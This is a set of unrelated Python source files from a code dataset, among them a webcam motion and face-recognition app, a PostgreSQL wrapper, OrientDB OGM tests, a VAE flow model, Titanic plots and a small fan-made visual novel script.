cv2.putText(frame_rgb,'Movement',(10,30),cv2.FONT_HERSHEY_SIMPLEX,1,[0,30,30],2)\n is_moving_stat = True\n\n if is_moving_stat == True:\n self.out.write(self.frame)\n counter3 += 1\n\n if counter3 == 50:\n counter3 = 0\n is_moving_stat = False\n\n frm = Image.fromarray(frame_rgb)\n frame_tk = ImageTk.PhotoImage(image = frm)\n self.cam_label.imgtk = frame_tk # Put image into the label\n self.cam_label.configure(image = frame_tk) # Set width and height according to camera\n self.frame = self.prev_frame\n ret, self.prev_frame = self.cap.read()\n self.cam_label.after(10,self.open_cam) # After 10ms it will call himself\n\n\n def pause_cam(self):\n self.is_cam_open = False\n self.cap.release()\n self.open_cam_button['state'] = 'normal'\n\n\n def close_cam(self):\n self.is_cam_open = False\n self.cap.release()\n self.open_cam_button['state'] = 'normal'\n self.cam_label.imgtk = self.empty_image # Put image into the label\n self.cam_label.configure(image = self.empty_image) # Set width and height according to picture\n\n\n def motion_detection(self,frm2):\n diff = cv2.absdiff(frm2,self.prev_frame)\n gray = cv2.cvtColor(diff,cv2.COLOR_BGR2GRAY)\n blur = cv2.GaussianBlur(gray,(7,7), cv2.BORDER_DEFAULT)\n _,thresh = cv2.threshold(blur, 20, 255, cv2.THRESH_BINARY)\n dilated = cv2.dilate(thresh,None,iterations = 3)\n contours,_ = cv2.findContours(dilated,cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n for contour in contours:\n (x,y,w,h) = cv2.boundingRect(contour)\n if cv2.contourArea(contour) > 100:\n # cv2.rectangle(frm2,(x,y),(x+w, y+h),(0,0,255),2)\n # font_1 = cv2.FONT_HERSHEY_SIMPLEX\n # cv2.putText(frm2,'Movement',(10,30),font_1,1,[0,30,30],2)\n return True\n else:\n return False\n # cv2.drawContours(self.frame,contours,-1,(0,255,0),2)\n\n def check_face(self,frm2):\n global face1\n global face2\n global face3\n global face4\n global names\n frame_rgb = cv2.cvtColor(frm2,cv2.COLOR_BGR2RGB)\n frame_rgb_resized = cv2.resize(frame_rgb,(0,0), fx = 1/4, fy = 1/4)\n counter = 0\n try:\n frame_face_locs = face_recognition.face_locations(frame_rgb_resized)\n frame_face_encodes = face_recognition.face_encodings(frame_rgb_resized,frame_face_locs)\n for face_encode in frame_face_encodes:\n check_halit = face_recognition.compare_faces([face1],face_encode)\n check_ilteris = face_recognition.compare_faces([face2],face_encode)\n check_onur = face_recognition.compare_faces([face3],face_encode)\n check_mahmut_hoca = face_recognition.compare_faces([face4],face_encode)\n y1,x2,y2,x1 = frame_face_locs[counter]\n y1 *= 4\n y2 *= 4\n x1 *= 4\n x2 *= 4\n cv2.rectangle(frm2,(x1,y1),(x2,y2),(100,145,10), 2)\n\n if check_halit[0]:\n print(names[0])\n cv2.putText(frm2,names[0],(x1+15,y2+15),cv2.FONT_HERSHEY_COMPLEX_SMALL,1,(255,25,10),2)\n with open('People.csv','a') as f:\n f.write( names[0]+','+self.current_time+'\\n')\n elif check_ilteris[0]:\n print(names[1])\n cv2.putText(frm2,names[1],(x1+15,y2+15),cv2.FONT_HERSHEY_COMPLEX_SMALL,1,(255,25,10),2)\n with open('People.csv','a') as f:\n f.write( names[1]+','+self.current_time+'\\n')\n elif check_onur[0]:\n print(names[2])\n cv2.putText(frm2,names[2],(x1+15,y2+15),cv2.FONT_HERSHEY_COMPLEX_SMALL,1,(255,25,10),2)\n with open('People.csv','a') as f:\n f.write( names[2]+','+self.current_time+'\\n')\n\n elif check_mahmut_hoca[0]:\n print(names[3])\n cv2.putText(frm2,names[3],(x1+15,y2+15),cv2.FONT_HERSHEY_COMPLEX_SMALL,1,(255,25,10),2)\n with open('People.csv','a') as f:\n f.write( names[3]+','+self.current_time+'\\n')\n\n else:\n print('Bilinmeyen Kişi')\n with open('People.csv','a') as f:\n cv2.putText(frm2,'Bilinmeyen Kişi',(x1+15,y2+15),cv2.FONT_HERSHEY_COMPLEX_SMALL,1,(255,25,10),2)\n f.write('Bilinmeyen Kişi,'+self.current_time+'\\n')\n\n\n counter += 1\n except IndexError:\n pass\n return frm2\nface1 = training.image_encoding0\nface2 = training.image_encoding1\nface3 = training.image_encoding2\nface4 = training.image_encoding3\ncounter2 = 0\ncounter3 = 0\nnames = training.image_names\nencodings = training.encodings\nwin = tk.Tk()\nwin.title('Camera Application')\nprog = CamProgram(win)\nwin.mainloop()\n","sub_path":"Camera_Project/camera_app.py","file_name":"camera_app.py","file_ext":"py","file_size_in_byte":7865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"40138915","text":"largest = None\nsmallest = None\nwhile True:\n # ask number from user\n num = input(\"Enter a number: \")\n # check for end\n if num == \"done\" : break\n # try to convert user input to number\n try: tmp = int(num)\n except:\n print(\"Invalid input\")\n continue\n # set max & min if they are None values\n if largest is None : largest = tmp\n if smallest is None : smallest = tmp\n # do the job\n if largest < tmp : largest = tmp\n if smallest > tmp : smallest = tmp\n\nprint(\"Maximum is\", largest)\nprint(\"Minimum is\", smallest)\n","sub_path":"assignment-5-2.py","file_name":"assignment-5-2.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"338469171","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 01 10:17:00 2015\n\n@author: maelicke\n\"\"\"\nimport psycopg2\nimport psycopg2.extras\nfrom openhydro.Exceptions import ConnectException\n\n# enable unicode support\npsycopg2.extensions.register_type(psycopg2.extensions.UNICODE)\npsycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY)\n\nclass Connection(object):\n \"\"\"\n Conneciton handler for PostgreSQL databases based on psycopg2 driver.\n \"\"\"\n def __init__(self, dsn=None,keep_alive=False, driver=psycopg2, cursor_factory=None):\n \"\"\"\n Do not change the driver, this is not tested.\n \"\"\"\n if dsn is None:\n from openhydro.dsn.dsn import dsn\n self.dsn = dsn('default')\n else:\n self.dsn = dsn(dsn)\n \n # save attributes\n self.keep_alive = keep_alive\n self.driver = driver\n \n # check if connection shall be left open\n if self.keep_alive:\n self.conn, self.cur = self.__connect(self.dsn, cursor_factory)\n \n \n def __connect(self, dsn, cursor_factory=None):\n \"\"\"\n \"\"\"\n try:\n conn = self.driver.connect(dsn)\n if cursor_factory is None:\n cur = conn.cursor()\n else:\n cur = conn.cursor(cursor_factory=cursor_factory)\n except Exception as e:\n raise ConnectException(\"\"\"Unable to connect to Openhydro Database.\\n raised Expetion message: {0}.\\n\"\"\".format(e.message))\n \n return conn, cur\n \n \n def query(self, sql, cursor_factory=None):\n \"\"\"\n The sql stirng is executed and the result is returned.\n \"\"\"\n # check for active connection\n if self.keep_alive:\n self.cur.execute(sql)\n res = self.cur.fetchall()\n else:\n conn, cur = self.__connect(self.dsn, cursor_factory)\n cur.execute(sql)\n res = cur.fetchall()\n \n return res\n \n \n def execute(self, sql, cursor_factory=None):\n \"\"\"\n The sql string is executed and the result is returned. If there is nothing\n to return True is returned. \n Almost the same like Connection.query, but query will raise an expection\n if nothing is returned.\n \"\"\"\n # check for active connection\n if self.keep_alive:\n self.cur.execute(sql)\n res = self.cur.fetchall()\n self.conn.commit()\n else:\n conn, cur = self.__connect(self.dsn, cursor_factory)\n cur.execute(sql)\n conn.commit()\n try:\n res = cur.fetchall()\n except:\n res = True\n \n return res\n\n \n\n def getOne(self, sql, as_dict=True, as_format=object, debug=False):\n \"\"\"\n The sql string is executed and the first object is returned. If debug is \n True, an Exception will be raised in case more objects could be queried.\n Wraps Connection.query method.\n as_dict on True will return the object as a dicttionary with column names as keys.\n as_format is ignored so far.\n \"\"\"\n if as_dict:\n res = self.query(sql, cursor_factory=psycopg2.extras.DictCursor)\n else:\n res = self.query(sql)\n\n # check for debug mode \n if debug:\n if len(res) > 1:\n # this is possible because the fetchall() method of psycopg2\n # always returns a list of tuples and not tuple in case \n # len(list) would be 1\n raise ConnectException(\"\"\"getOne was run in debug mode. This Exception is thrown in case more than one objects can be queried.\\n SQL statement: {0}\\n Found {1} matching objects.\"\"\".format(sql, len(res)))\n \n # in all other cases the first object can be returned\n return res[0]\n \n\n def getAll(self, sql, as_dict=True, as_format=object):\n \"\"\"\n Wrapper for query\n as_dict on True will return the object as a dicttionary with column names as keys.\n as_format is ignored so far. (But won't be one day)\n \"\"\"\n if as_dict:\n res = self.query(sql, cursor_factory=psycopg2.extras.DictCursor)\n else:\n res = self.query(sql)\n \n return res\n \n\n def iterRows(self, sql, as_format=object):\n \"\"\"\n \"\"\"\n pass\n","sub_path":"db/psql.py","file_name":"psql.py","file_ext":"py","file_size_in_byte":4456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"243698228","text":"import time\nimport glob\nimport os\nimport excelRead\n\npath = os.getcwd()\nfileList = glob.glob(path + '/**/*.xlsx', recursive = True)\ncompletedList = []\n\nfor file in fileList:\n if file in fileList and file not in completedList:\n time.sleep(10)\n excelRead.excelReader(file)\n print(\"File completed: \" + path)\n completedList.append(file)\n fileList = glob.glob(path + '/**/*.xlsx', recursive = True)\n","sub_path":"recursiveIterator.py","file_name":"recursiveIterator.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"617485466","text":"import matplotlib.pyplot as plt\n# matplotlib inline\nimport numpy as np\nimport pandas as pd\n# import statsmodels.api as sm\n# from statsmodels.nonparametric.kde import KDEUnivariate\n\n# from statsmodels.nonparametric import smoothers_lowess\nfrom pandas import Series, DataFrame\n# from patsy import dmatrices\nfrom sklearn import datasets, svm\n\n\n\ndf = pd.read_csv('/Users/arjun/Documents/Titanic/train.csv', header=0)\n\n\n # To see the age ,sex and ticket columns\ndf[['Sex','Age','Ticket']]\n\n# Observing the values which are greater than 60\ndf[df['Age'] > 60][['Sex', 'Pclass', 'Age', 'Survived']]\n\n# Printing the gae values that come across as null\ndf[df['Age'].isnull()][['Sex', 'Pclass', 'Age']]\n\n# Plotting the number of survived.\nplt.figure(figsize=(6,4))\n# fig, ax = plt.subplots()\ndf.Survived.value_counts().plot(kind='barh', color=\"blue\", alpha=.65)\n# set_ylim(-1, len(df.Survived.value_counts())) \nplt.title(\"Survival Breakdown (1 = Survived, 0 = Died)\")\n\n\n\n# Plotting the number of passengers per boarding count \nplt.figure(figsize=(6,4))\n# fig, ax = plt.subplots()\ndf.Embarked.value_counts().plot(kind='bar', alpha=0.55)\n# set_xlim(-1, len(df.Embarked.value_counts()))\n# specifies the parameters of our graphs\nplt.title(\"Passengers per boarding location\")\n\n\n# A scatterplot between the people survived and their age\nplt.scatter(df.Survived, df.Age, alpha=0.55)\n# sets the y axis lable\nplt.ylabel(\"Age\")\n# formats the grid line style of our graphs \nplt.grid(b=True, which='major', axis='y') \nplt.title(\"Survial by Age, (1 = Survived)\")\nplt.show()\n\n# A bar plot to see who see who survived with respect to male and female count\n\nfig = plt.figure(figsize =(18,6))\n\nax1 = fig.add_subplot(121)\ndf.Survived[df.Sex == 'male'].value_counts().plot(kind='barh',label='Male')\ndf.Survived[df.Sex == 'female'].value_counts().plot(kind='barh', color='#FA2379',label='Female')\nplt.title(\"Who Survived? with respect to Gender, (raw value counts) \"); plt.legend(loc='best')\n\n\nax2 = fig.add_subplot(122)\n\n(df.Survived[df.Sex == 'male'].value_counts()/float(df.Sex[df.Sex == 'male'].size)).plot(kind='bar',label='Male')\n(df.Survived[df.Sex == 'female'].value_counts()/float(df.Sex[df.Sex == 'female'].size)).plot(kind='barh', color='#FA2379',label='Female')\nplt.title(\"Who Survived? with respect to Gender, (proportions) \"); plt.legend(loc='best')\n\nplt.show()\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Models/titanic.py","file_name":"titanic.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"218803832","text":"#Questao TPW296\n#Sorteando numeros\nimport random\nprint ('\\n ============== Sorteando Números Aleatórios ==================\\n')\n\n\ndef aleatorios():\n\t\n\tlista = []\n\t\n\twhile len(lista) < 15:\n\t\t\n\t\tx = random.randint(10,100)\n\n\t\tif x not in lista:\n\t\t\tlista.append(x)\n\n\tlista.sort()\n\n\treturn lista\n\nprint (aleatorios())\n\n\nprint ('\\n ==============================================================\\n')","sub_path":"twp296.py","file_name":"twp296.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"230586999","text":"# coding:utf-8\nimport logging\nimport os\nimport inspect\nimport time\n\n'''\nLogging Config\n'''\nfile_path = inspect.stack()[0][1]\ncwd = os.path.split(file_path)[0]\nlogging.basicConfig(\n level=logging.DEBUG,\n format='%(asctime)s '\n '%(filename)s '\n '%(funcName)s '\n '[line:%(lineno)d] '\n '%(levelname)s '\n ':%(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n filename=\"%s/log/%s.log\" % (cwd, time.strftime(\"%y-%m-%d\")),\n filemode='a'\n)\n\n\nBIZ_CONFIF = {\"shop\", \"bargain\", \"internal\", \"marketing\", \"supply_chain\"}\n","sub_path":"setting.py","file_name":"setting.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"371136229","text":"import numpy as np\nimport torch\nfrom torch import nn\n\nfrom models.vae_model import VAE_Basic\n\nclass Implicit(VAE_Basic):\n \"\"\"docstring for Implicit.\"\"\"\n\n def __init__(self, prior_model, config):\n super(Implicit, self).__init__(prior_model.z_dims, prior_model.input_dims)\n self.encoder = prior_model.encoder\n self.decoder = prior_model.decoder\n\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n # mask = torch.from_numpy(np.array([[1, 0], [0, 1]] * 3).astype(np.float32))\n self.z_dims = config['z_dims']\n chk = config[\"masks\"]\n if chk == \"half\":\n dpt = int(config[\"mask_percent\"]*0.01*self.z_dims)\n a1 = np.zeros(self.z_dims)\n a1[:dpt] = 1\n a2 = np.zeros(self.z_dims)\n a2[dpt:] = 1\n mask = torch.from_numpy(np.array([a1, a2]*3).astype(np.float32))\n else:\n mask = torch.from_numpy(np.array(config['masks']).astype(np.float32))\n mask = mask.to(self.device)\n self.inMasks = mask\n\n\n self.sampling_freq = config['sampling_freq']\n\n nets = lambda: nn.Sequential(nn.Linear(self.z_dims, 64), nn.LeakyReLU(), nn.Linear(64, 64), nn.LeakyReLU(), nn.Linear(64, self.z_dims), nn.Tanh())\n nett = lambda: nn.Sequential(nn.Linear(self.z_dims, 64), nn.LeakyReLU(), nn.Linear(64, 64), nn.LeakyReLU(), nn.Linear(64, self.z_dims), nn.Tanh())\n\n # to the dimension of the hidden unit\n self.mask = nn.Parameter(self.inMasks, requires_grad=False)\n self.t = torch.nn.ModuleList([nett() for _ in range(len(self.inMasks))])\n self.s = torch.nn.ModuleList([nets() for _ in range(len(self.inMasks))])\n\n # the forward function going from z_0 to z, z = g_inv(z0)\n def g_inv(self, z0):\n z0 = z0.float()\n z0_ = z0.new_zeros(z0.shape[0]).to(self.device)\n for i in range(len(self.t)):\n z0_ = z0 * self.mask[i]\n s = self.s[i](z0_)*(1 - self.mask[i])\n t = self.t[i](z0_)*(1 - self.mask[i])\n z0 = z0_ + (1 - self.mask[i]) * (z0 * torch.exp(s) + t)\n return z0\n\n # the backward function going from z to z_0, z0 = g(z)\n def g(self, z):\n z = z.float()\n log_det_J = z.new_zeros(z.shape[0]).to(self.device)\n # import pdb; pdb.set_trace()\n for i in reversed(range(len(self.t))):\n z_ = self.mask[i] * z\n s = self.s[i](z_) * (1-self.mask[i])\n t = self.t[i](z_) * (1-self.mask[i])\n z = (1 - self.mask[i]) * (z - t) * torch.exp(-s) + z_\n log_det_J -= s.sum(dim=1)\n return z, log_det_J\n\n def reparametrize(self, mu, logvar):\n z = super().reparametrize(mu, logvar)\n for i in range(1, self.sampling_freq):\n temp = super().reparametrize(mu, logvar)\n z += temp\n z = z/self.sampling_freq\n return z\n\n def forward(self, x):\n stats = self.encoder(x)\n mu = stats[:, :self.z_dims]\n logvar = stats[:, self.z_dims:]\n z = self.reparametrize(mu, logvar)\n g_1, g_2 = self.g(z)\n x_recon = self.decoder(z)\n return x_recon, mu, logvar, z, g_1, g_2\n","sub_path":"models/implicit_model.py","file_name":"implicit_model.py","file_ext":"py","file_size_in_byte":3193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"2423802","text":"import unittest\nimport decimal\nimport os.path\n\nfrom pyorient.ogm import Graph, Config\nfrom pyorient.groovy import GroovyScripts\n\nfrom pyorient.ogm.declarative import declarative_node, declarative_relationship\nfrom pyorient.ogm.property import String, Decimal, Float, UUID\n\nfrom pyorient.ogm.what import expand, in_, out, distinct\n\nAnimalsNode = declarative_node()\nAnimalsRelationship = declarative_relationship()\n\nclass Animal(AnimalsNode):\n element_type = 'animal'\n element_plural = 'animals'\n\n name = String(nullable=False, unique=True)\n specie = String(nullable=False)\n\nclass Food(AnimalsNode):\n element_type = 'food'\n element_plural = 'foods'\n\n name = String(nullable=False, unique=True)\n color = String(nullable=False)\n\nclass Eats(AnimalsRelationship):\n label = 'eats'\n\nclass OGMAnimalsTestCase(unittest.TestCase):\n def __init__(self, *args, **kwargs):\n super(OGMAnimalsTestCase, self).__init__(*args, **kwargs)\n self.g = None\n\n def setUp(self):\n g = self.g = Graph(Config.from_url('animals', 'root', 'root'\n , initial_drop=True))\n\n g.create_all(AnimalsNode.registry)\n g.create_all(AnimalsRelationship.registry)\n\n def testGraph(self):\n assert len(AnimalsNode.registry) == 2\n assert len(AnimalsRelationship.registry) == 1\n\n g = self.g\n\n rat = g.animals.create(name='rat', specie='rodent')\n mouse = g.animals.create(name='mouse', specie='rodent')\n queried_rat = g.query(Animal).filter(\n Animal.name.endswith('at') | (Animal.name == 'tiger')).one()\n\n assert rat == queried_rat\n\n queried_mouse = g.query(mouse).one()\n assert mouse == queried_mouse\n\n try:\n rat2 = g.animals.create(name='rat', specie='rodent')\n except:\n pass\n else:\n assert False and 'Uniqueness not enforced correctly'\n\n pea = g.foods.create(name='pea', color='green')\n queried_pea = g.foods.query(color='green', name='pea').one()\n\n cheese = g.foods.create(name='cheese', color='yellow')\n\n assert queried_pea == pea\n\n rat_eats_pea = g.eats.create(queried_rat, queried_pea)\n mouse_eats_pea = g.eats.create(mouse, pea)\n mouse_eats_cheese = Eats.objects.create(mouse, cheese)\n\n eaters = g.in_(Food, Eats)\n assert rat in eaters\n\n # Who eats the peas?\n pea_eaters = g.foods.query(name='pea').what(expand(in_(Eats)))\n for animal in pea_eaters:\n print(animal.name, animal.specie)\n\n # Which animals eat each food\n # FIXME Currently calling all() here, as iteration over expand()\n # results is currently broken.\n animal_foods = \\\n g.animals.query().what(expand(distinct(out(Eats)))).all()\n for food in animal_foods:\n print(food.name, food.color,\n g.query(\n g.foods.query(name=food.name).what(expand(in_(Eats)))) \\\n .what(Animal.name).all())\n\n for food_name, food_color in g.query(Food.name, Food.color):\n print(food_name, food_color) # 'pea green' # 'cheese yellow'\n\n # FIXME While it is nicer to use files, parser should be more\n # permissive with whitespace\n g.scripts.add(GroovyScripts.from_string(\n\"\"\"\ndef get_eaters_of(food_type) {\n return g.V('@class', 'food').has('name', T.eq, food_type).inE().outV();\n}\n\ndef get_foods_eaten_by(animal) {\n return g.v(animal).outE('eats').inV()\n}\n\"\"\"))\n\n pea_eaters = g.gremlin('get_eaters_of', 'pea')\n for animal in pea_eaters:\n print(animal.name, animal.specie) # 'rat rodent' # 'mouse rodent'\n\n rat_cuisine = g.gremlin('get_foods_eaten_by', (rat,))\n for food in rat_cuisine:\n print(food.name, food.color) # 'pea green'\n\nMoneyNode = declarative_node()\nMoneyRelationship = declarative_relationship()\n\nclass Person(MoneyNode):\n element_plural = 'people'\n\n full_name = String(nullable=False)\n uuid = String(nullable=False, default=UUID())\n\nclass Wallet(MoneyNode):\n element_plural = 'wallets'\n\n amount_precise = Decimal(name='amount', nullable=False)\n amount_imprecise = Float()\n\nclass Carries(MoneyRelationship):\n # No label set on relationship; Broker will not be attached to graph.\n pass\n\nclass OGMMoneyTestCase(unittest.TestCase):\n def __init__(self, *args, **kwargs):\n super(OGMMoneyTestCase, self).__init__(*args, **kwargs)\n self.g = None\n\n def setUp(self):\n g = self.g = Graph(Config.from_url('money', 'root', 'root'\n , initial_drop=True))\n\n g.create_all(MoneyNode.registry)\n g.create_all(MoneyRelationship.registry)\n\n def testMoney(self):\n assert len(MoneyNode.registry) == 2\n assert len(MoneyRelationship.registry) == 1\n\n g = self.g\n\n if g.server_version.major == 1:\n self.skipTest(\n 'UUID method does not exists in OrientDB version < 2')\n\n costanzo = g.people.create(full_name='Costanzo Veronesi', uuid=UUID())\n valerius = g.people.create(full_name='Valerius Burgstaller'\n , uuid=UUID())\n if g.server_version >= (2,1,0):\n # Default values supported\n oliver = g.people.create(full_name='Oliver Girard')\n else:\n oliver = g.people.create(full_name='Oliver Girard', uuid=UUID())\n\n # If you override nullable properties to be not-mandatory, be aware that\n # OrientDB version < 2.1.0 does not count null\n assert Person.objects.query().what(distinct(Person.uuid)).count() == 3\n\n original_inheritance = decimal.Decimal('1520841.74309871919')\n\n inheritance = g.wallets.create(\n amount_precise = original_inheritance\n , amount_imprecise = original_inheritance)\n\n assert inheritance.amount_precise == original_inheritance\n assert inheritance.amount_precise != inheritance.amount_imprecise\n\n pittance = decimal.Decimal('0.1')\n poor_pouch = g.wallets.create(\n amount_precise=pittance\n , amount_imprecise=pittance)\n\n assert poor_pouch.amount_precise == pittance\n assert poor_pouch.amount_precise != poor_pouch.amount_imprecise\n\n # Django-style creation\n costanzo_claim = Carries.objects.create(costanzo, inheritance)\n valerius_claim = Carries.objects.create(valerius, inheritance)\n oliver_carries = Carries.objects.create(oliver, poor_pouch)\n\n g.scripts.add(GroovyScripts.from_file(\n os.path.join(\n os.path.split(\n os.path.abspath(__file__))[0], 'money.groovy')), 'money')\n rich_list = g.gremlin('rich_list', 1000000, namespace='money')\n assert costanzo in rich_list and valerius in rich_list \\\n and oliver not in rich_list\n\n bigwallet_query = g.query(Wallet).filter(Wallet.amount_precise > 100000)\n smallerwallet_query = g.query(Wallet).filter(\n Wallet.amount_precise < 100000)\n\n # Basic query slicing\n assert len(bigwallet_query[:]) == 1\n assert len(smallerwallet_query) == 1\n\n assert bigwallet_query.first() == inheritance\n\n pouch = smallerwallet_query[0]\n assert pouch == poor_pouch\n\n assert len(pouch.outE()) == len(pouch.out())\n assert pouch.in_() == pouch.both() and pouch.inE() == pouch.bothE()\n\n first_inE = pouch.inE()[0]\n assert first_inE == oliver_carries\n assert first_inE.outV() == oliver and first_inE.inV() == poor_pouch\n\n for i, wallet in enumerate(g.query(Wallet)):\n print(decimal.Decimal(wallet.amount_imprecise) -\n wallet.amount_precise)\n assert i < 2\n\n\nclass OGMClassTestCase(unittest.TestCase):\n def __init__(self, *args, **kwargs):\n super(OGMClassTestCase, self).__init__(*args, **kwargs)\n self.g = None\n\n def setUp(self):\n g = self.g = Graph(Config.from_url('classes', 'root', 'root'\n , initial_drop=True))\n\n def testGraph(self):\n g = self.g\n\n try:\n # The WRONG way to do multiple inheritance\n # Here, Foo.registry and Bar.registry reference different classes,\n # and therefore g.create_all() can not work.\n class Foo(declarative_node()):\n pass\n\n class Bar(declarative_node()):\n pass\n\n class Fubar(Foo, Bar):\n pass\n except TypeError:\n pass\n else:\n assert False and 'Failed to enforce correct vertex base classes.'\n\n","sub_path":"tests/test_ogm.py","file_name":"test_ogm.py","file_ext":"py","file_size_in_byte":8754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"421625457","text":"import graphics\nfrom graphics import *\n\n#Quick note, i'm centering all text for now bc it makes my life a million times easier,\n#but by the time this gets a release version that will have to change.\n\n#Graphics setup:\nwindow = GraphWin(\"Rin Simulator Beta 0.1\", 1440, 855)\nrin1 = Image(Point(720,427), \"rin1.png\")\nspeechbox = Image(Point(720, 427), \"speechbox.png\")\nbetawarning = Text(Point(450,5), \"Beta ver 0.1 - WARNING: BETA IS UNSTABLE AND STILL UNDER DEVELOPMENT, ITS NOT MY FAULT IF IT BREAKS YOUR COMPUTER AND YOU LOSE YOUR VBUCKS OR SOMETHING\")\nbetawarning.setSize(10)\nbetawarning.setTextColor(\"red\")\nrinnamedisplay = Text(Point(720,623), \"Rin\")\nrinnamedisplay.setSize(36)\nrinnamedisplay.setFace(\"courier\")\nuname = \"uname\"\nunamedisplay = Text(Point(720,623), uname)\nunamedisplay.setSize(36)\nunamedisplay.setFace(\"courier\")\ndevnotes = Text(Point(1100,200), \"devnote\")\ndevnotes.setSize(20)\ndevnotes.setFill(\"red\")\nmsgret = Text(Point(720, 700), \"Hello Nya~!\\n\\n\")\nmsgret.setSize(25)\n\ndef nextbutton():\n clickpos = window.getMouse()\n clickposx = float(str(clickpos)[6:11])\n clickposy = float(str(clickpos)[13:18])\n if (1249 < clickposx < 1336) and (781 < clickposy < 817):\n return \"next\"\n else:\n nextbutton()\nbetawarning.draw(window)\n\nclicktocontinue = Text(Point(1300, 800), \"Next\")\nclicktocontinue.setSize(30)\n\n#startup complete, begin:\n\nrin1.draw(window)\nspeechbox.draw(window)\nrinnamedisplay.draw(window)\nsayvar = msgret\nsayvar.draw(window)\nclicktocontinue.draw(window)\nnextbutton()\nsayvar.undraw()\nclicktocontinue.undraw()\nsayvar.setText(\"A. Hello! (start)\\nB. Settings\\nC. Info/Credits\")\nrinnamedisplay.undraw()\nrinnamedisplay.setText(\"Your Response: (menu)\")\nrinnamedisplay.draw(window)\nsayvar.draw(window)\ndef menusel():\n clickpos = window.getMouse()\n print(clickpos)\n clickposx = float(str(clickpos)[6:11])\n clickposy = float(str(clickpos)[13:18])\n if (804 > clickposx > 633) and (659 < clickposy < 685):\n print(\"a\")\n elif (784 > clickposx > 658) and (713 > clickposy >687):\n bwin = GraphWin(\"Rin Sim Settings\", 500, 500)\n noset = Text(Point(250,250), \"There are no settings for this game yet\")\n noset.setSize(20)\n noset.draw(bwin)\n menusel()\n elif (799 > clickposx > 638) and (742 > clickposy > 711):\n cwin = GraphWin(\"Rin Sim Info\", 800,800)\n infopage = Image(Point(400,400), \"info.png\")\n infopage.draw(cwin)\n menusel()\n else:\n menusel()\nmenusel()\nclicktocontinue.draw(window)\n#All this under here needs to go inside that if statement I made into a comment.\n#Just did it without the if to make it easier as I code. Also this is affeclevel 0.\n#What is being said is in comments:\nsayvar.undraw()\nrinnamedisplay.undraw()\n#What's your name?\nsayvar.setText(\"What's your name?\\n\\n\")\nrinnamedisplay.setText(\"Rin\")\nsayvar.draw(window)\nrinnamedisplay.draw(window)\nnextbutton()\nsayvar.undraw()\nrinnamedisplay.undraw()\n#Enter your name: (user entry)\nrinnamedisplay.setText(\"Enter your name:\")\nrinnamedisplay.draw(window)\nunameentry = Entry(Point(720, 700), 60)\nunameentry.setFill(\"white\")\nunameentry.draw(window)\nnextbutton()\nuname = unameentry.getText()\nunameentry.undraw()\nrinnamedisplay.undraw()\n#Nice to meet ya (uname)! I'm Rin Hoshizora-nya, a high-school idol in a group called (oh fuck python is ASCII)\nrinnamedisplay.setText(\"Rin\")\nmsgret.setText(\"Nice to meet ya \" + uname + \"!\\nI'm Rin Hoshizora-nya, a high-school idol in a group called μ's!\\n\")\nrinnamedisplay.draw(window)\nmsgret.draw(window)\nnextbutton()\nmsgret.undraw()\n#I like sports, music, and cats! Nya!\nmsgret.setText(\"I like sports, music, and cats! Nya!\\n\\n\")\nmsgret.draw(window)\nnextbutton()\nmsgret.undraw()\n#What about you? Nya?\nmsgret.setText(\"What about you? Nya?\\n\\n\")\nmsgret.draw(window)\nnextbutton()\nmsgret.undraw()\nrinnamedisplay.undraw()\n#I like: (user entry)\nrinnamedisplay.setText(\"Enter what you like: (a few words max, no punctuation)\")\nrinnamedisplay.draw(window)\nuserlikesentry = Entry(Point(720, 700), 60)\nuserlikesentry.setFill(\"white\")\nuserlikesentry.draw(window)\nnextbutton()\nuserlikes = userlikesentry.getText().lower()\nuserlikesentry.undraw()\nrinnamedisplay.undraw()\n#Me too! I love (userlikes), nya~!\nmsgret.setText(\"Me too! I love \" + userlikes + \", nya~!\\n\\n\")\nrinnamedisplay.setText(\"Rin\")\nrinnamedisplay.draw(window)\nmsgret.draw(window)\nnextbutton()\nmsgret.undraw()\nrinnamedisplay.undraw()\n\n#End of Beta 0.1\nclicktocontinue.undraw()\nspeechbox.undraw()\nrin1.undraw()\nendgame = Rectangle(Point(400,100),Point(1040,720))\nendgame.setFill(\"red\")\nendgame.draw(window)\nendgametitle = Text(Point(720,130), \"End of Beta 0.1\")\nendgametitle.setSize(36)\nendgametitle.setTextColor(\"white\")\nendgametitle.draw(window)\nendmsg = \"\"\"\nHi, thanks for playing the horrible test for this game. My website \nmight be one big meme, and this is for fun of course, but outside of the\nmemes I really do appreciate the support I get from people on projects\nlike these. This might be really low quality at the moment, but right now\nit's just a tech test, and I hope I can turn it into something more.\nYes it was super short but that's because I don't know what to make\nRin say. Speaking of which:\n\nI'm looking for people to write the dialogue and make art\n(so I can not use google images for this and have multiple emotions\nfor Rin) so if you're interested in helping, join the Discord.\nI plan on getting a whole team on this and making it a real game.\n\nI'll be doing my best to make this the best I can!\n\n\"凛の全力ステージ、見て欲しいにゃ!\" - Rin Hoshizora\nTL: \"I want everyone to see me perform my best onstage!\"\n\nps you might get an error message when you close the app, ignore that\n\"\"\"\nendgamemsg = Text(Point(720,380), 